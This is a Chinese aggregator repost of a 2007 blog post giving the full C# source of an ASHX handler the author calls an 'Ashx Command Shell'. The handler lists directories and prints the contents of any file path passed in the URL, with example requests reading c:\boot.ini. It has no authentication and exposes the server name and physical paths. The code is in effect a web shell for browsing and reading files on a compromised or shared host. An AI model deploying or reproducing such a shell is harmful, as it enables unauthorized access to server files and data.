惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

人人都是产品经理
人人都是产品经理
aimingoo的专栏
aimingoo的专栏
Y
Y Combinator Blog
B
Blog
D
Docker
C
Check Point Blog
A
About on SuperTechFans
云风的 BLOG
云风的 BLOG
F
Fortinet All Blogs
Stack Overflow Blog
Stack Overflow Blog
Recent Announcements
Recent Announcements
MongoDB | Blog
MongoDB | Blog
WordPress大学
WordPress大学
Jina AI
Jina AI
罗磊的独立博客
月光博客
月光博客
博客园 - Franky
L
LangChain Blog
H
Help Net Security
Google DeepMind News
Google DeepMind News
Microsoft Security Blog
Microsoft Security Blog
小众软件
小众软件
T
Tailwind CSS Blog
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻

博客园 - openkava

我的天涯助手V1 微软asp.net 2.0 rdlc报表发布到虚拟主机上 - openkava 恶意脚本代码分析 - openkava - 博客园 自用aspx小工具 cmd.aspx v1.2 aspx最小代码连接数据库 数据库连接字符串 - openkava - 博客园 Jquery 使用笔记1 - openkava - 博客园 c# aspx 动态编译文件模板 - openkava c# 乱码解决方法 - openkava - 博客园 test zz巧用三个SQL视图查出所有的数据库字典 01 DiscuzNT1.0安装 用bat文件搞定文件的备份 zz习惯的力量:35岁以前养成好习惯 竟然有免费送书的好事啊 Log4Net 使用心得 .net remoting 传递令牌 zz一篇很好的编码原理的文章 comesmith 4.1 试用笔记-
编写的一个简单的ashx小程序
openkava · 2007-11-03 · via 博客园 - openkava

暂时实现列服务器目录和查看文件内容
具体用法
http://xxx.com/cmd.ashx?c=dir&c:\windows
http://xxx.com/cmd.ashx?c=show&c:\boot.ini

<% @ webhandler language="C#" class="Sbm.Web.ApplicationCenter.Cmd"    %>
 
using System;
 
using System.Web.SessionState;
using System.Drawing;
using System.Drawing.Imaging;
using System.Text;
 
using System.IO;
 
using System.Configuration;
using System.Collections;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
 
using System.Web.UI.HtmlControls;
 
namespace Sbm.Web.ApplicationCenter
{
 
    public class Cmd:System.Web.IHttpHandler
    {
        
        bool IHttpHandler.IsReusable
        {
            get { return true; }
        }
        
        void IHttpHandler.ProcessRequest(HttpContext context)
        {
            
            System.Text.StringBuilder sb=new System.Text.StringBuilder();
    
            context.Response.AddHeader("Prama","no-cache");
            context.Response.CacheControl="private";
            context.Response.Expires=0;
         
            context.Response.ContentType="text/html";
            
             //获取参数
             string c=context.Request["c"]; //命令
             string p=context.Request["p"]; //命令需要参数
     
         if(c==null || p==null) context.Response.Close();
         
         c=c.Trim().ToLower();
         p=p.Trim().ToLower();
         
           sb.Append("<html><head>Openkava Ashx Command Shell <br/><hr></head><body>");
          //string path=Server.MapPath("dir.ashx");
           sb.Append("系统参数:</br><hr>");
           sb.Append(context.Server.MachineName+"<br>");
           sb.Append("Physical path:"+context.Request.PhysicalApplicationPath +" <br/>");  
           sb.Append("virtual file path:"+context.Request.CurrentExecutionFilePath  +" <br/>");  
           sb.Append("virtual root path:"+context.Request.ApplicationPath   +" <br/>");  
           sb.Append("<hr><br>");
           
          // context.Request.SaveAs("f:""request.txt",true);
           
           //显示文件
           if(c=="show")
           {
                   StreamReader objReader = new StreamReader(p);        
                   string sLine="";
                   while (sLine != null)
                    {
                        sLine = objReader.ReadLine();
                        if (sLine != null)
                            sb.Append(sLine+"<br>");
                    }
              objReader.Close();
                   
               
           }
           //显示目录
           if(c=="dir" )
           {
                     System.IO.DirectoryInfo d= new DirectoryInfo(p); //("f:""usr""cw3b058"); //
                    foreach (DirectoryInfo sub in d.GetDirectories())
                    {
                        sb.Append(sub.FullName+"""<br/>");
                    }
            
                    foreach (FileInfo File in d.GetFiles())
                    {
                        sb.Append(File.FullName+"<br/>");
                    }
     
 
            }
                sb.Append("<hr><br/>");
                sb.Append("</body></html>");
                
 
        
            context.Response.Output.Write(sb.ToString());
            context.Response.Flush();
            context.Response.Close();
        }
        
        
        
    
    }
}